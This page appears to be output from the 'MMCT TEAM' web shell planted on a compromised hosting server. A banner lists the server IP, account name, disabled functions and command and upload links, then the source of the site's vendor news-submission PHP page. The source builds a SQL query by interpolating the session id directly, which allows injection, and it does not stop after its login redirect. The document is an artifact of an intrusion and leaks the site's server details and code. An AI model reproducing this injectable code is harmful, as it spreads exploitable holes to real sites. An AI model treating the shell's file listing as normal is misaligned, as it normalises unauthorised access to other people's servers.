MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/localapp/vendor/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/localapp/vendor/news.php
<?php
   session_start();
   $se = $_SESSION["id"];
   if (!isset($_SESSION['id'])) {
       header("Location: login.php");
   }
   include("inc/config.php");;
    
   ?>
<!DOCTYPE html>
<html lang="en">
   <?php require "inc/head.php"; ?>
   <body>
      <!-- header-->
      <?php require "inc/header.php"; ?>
      <!-- End Main-content Top bar-->
      <!-- main-content-->
      <div class="wrapper">
         <?php require "inc/sidebar.php"; ?>
         <div id="content">
            <div class="row mb-4">
               <div class="col-12 col-sm-12">
                  <div class="row">
                     <div class="col-12 col-md-12 mb-4">
                        <div class="card redial-border-light redial-shadow">
                           <div class="card-body" style="overflow: visible;">
                              <h6 class="header-title pl-3 redial-relative">News</h6>
                            <form action="add_news.php" method="post" enctype="multipart/form-data">
                                
                                <input type="hidden" name="status" value="Pending">
                                <?php
                                    $se = $_SESSION["id"]; 
                                    
                                    if (!isset($_SESSION['id'])) {
                                        die("Unauthorized access. Please log in.");
                                    }
                                    
                                    $query = "SELECT id FROM vendor WHERE id = '$se'"; 
                                    $result = mysqli_query($conn, $query);
                                    
                                    $vendor_id = "";
                                    if ($result && mysqli_num_rows($result) > 0) {
                                        $row = mysqli_fetch_assoc($result);
                                        $vendor_id = $row['id'];
                                    }
                                    ?>
                                 <input type="hidden" name="reporter_id" value="<?php echo htmlspecialchars($vendor_id); ?>">
                                 <div class="row">
                                    <!-- News Title -->
                                    <div class="col-12 col-sm-2 text-sm-right align-self-center">
                                       <label class="redial-font-weight-600 mb-3">News Title</label>
                                    </div>
                                    <div class="col-12 col-sm-10 mb-3">
                                       <input type="text" name="news_title" class="form-control" placeholder="News Title" required>
                                    </div>


                                    <div class="col-12 col-sm-2 text-sm-right align-self-center">
                                       <label class="redial-font-weight-600 mb-3">News State</label>
                                    </div>
                                    <div class="col-12 col-sm-10 mb-3">
                                       <input type="text" name="state" class="form-control" placeholder="News State" required>
                                    </div>

                                    <div class="col-12 col-sm-2 text-sm-right align-self-center">
                                       <label class="redial-font-weight-600 mb-3">District</label>
                                    </div>
                                    <div class="col-12 col-sm-10 mb-3">
                                       <input type="text" name="district" class="form-control" placeholder="district" required>
                                    </div>

                                    <div class="col-12 col-sm-2 text-sm-right align-self-center">
                                       <label class="redial-font-weight-600 mb-3">News Image</label>
                                    </div>
                                    <div class="col-12 col-sm-10 mb-3">
                                       <input type="file" name="photo" class="form-control"  required>
                                    </div>
                                    <?php
                                       // include("inc/config.php");
                                       
                                       // Fetch categories from the database
                                       $categories = [];
                                       $query = "SELECT id, cat_name FROM categories";
                                       $result = mysqli_query($conn, $query);
                                       if ($result) {
                                           while ($row = mysqli_fetch_assoc($result)) {
                                               $categories[] = $row;
                                           }
                                       }
                                       ?>
                                    <!-- Category Dropdown -->
                                    <div class="col-12 col-sm-2 text-sm-right align-self-center">
                                       <label class="redial-font-weight-600 mb-3">Category</label>
                                    </div>
                                    <div class="col-12 col-sm-10 mb-3">
                                       <select name="category_id" class="form-control" required>
                                          <option value="">Select Category</option>
                                          <?php foreach ($categories as $category) : ?>
                                          <option value="<?php echo $category['id']; ?>">
                                             <?php echo htmlspecialchars($category['cat_name']); ?>
                                          </option>
                                          <?php endforeach; ?>
                                       </select>
                                    </div>

                                    <div class="col-12 col-sm-2 text-sm-right align-self-center">
                                       <label class="redial-font-weight-600 mb-3">Short Description</label>
                                    </div>
                                    <div class="col-12 col-sm-10 mb-3">
                                       <input type="text" name="short_description" class="form-control" placeholder="Short Description" required>
                                    </div>
                                    <!-- News Description (Editor) -->
                                    <div class="col-12 col-sm-2 text-sm-right align-self-center">
                                       <label class="redial-font-weight-600 mb-3">News Description</label>
                                    </div>
                                    <div class="col-12 col-sm-10 mb-3">
                                       <textarea name="news_description" id="option_text_1" class="form-control"></textarea>
                                    </div>
                                    <!-- Submit Button -->
                                    <div class='btn-group mb-2' style="margin-left: 39%;">
                                       <button type="submit" name="add_news" class="btn btn-outline-success">Add News</button>
                                    </div>
                                 </div>
                              </form>
                           </div>
                        </div>
                     </div>
                  </div>
               </div>
            </div>
         </div>
      </div>
      <!-- End main-content-->
      <!-- Top To Bottom-->
      <a href="#" class="scrollup text-center redial-bg-primary redial-rounded-circle-50">
         <h4 class="text-white mb-0"><i class="icofont icofont-long-arrow-up"></i></h4>
      </a>
      <!-- End Top To Bottom-->
      <!-- jQuery -->
      <script src="dist/js/plugins.min.js"></script>       
      <script src="dist/js/common.js"></script>
      <script type="text/javascript" src="ckeditor/ckeditor.js"></script>
      <script>
         CKEDITOR.replace('option_text_1');
         CKEDITOR.replace('option_text_2');
         CKEDITOR.replace('option_text_3');
      </script>
   </body>
</html>

MMCT - 2023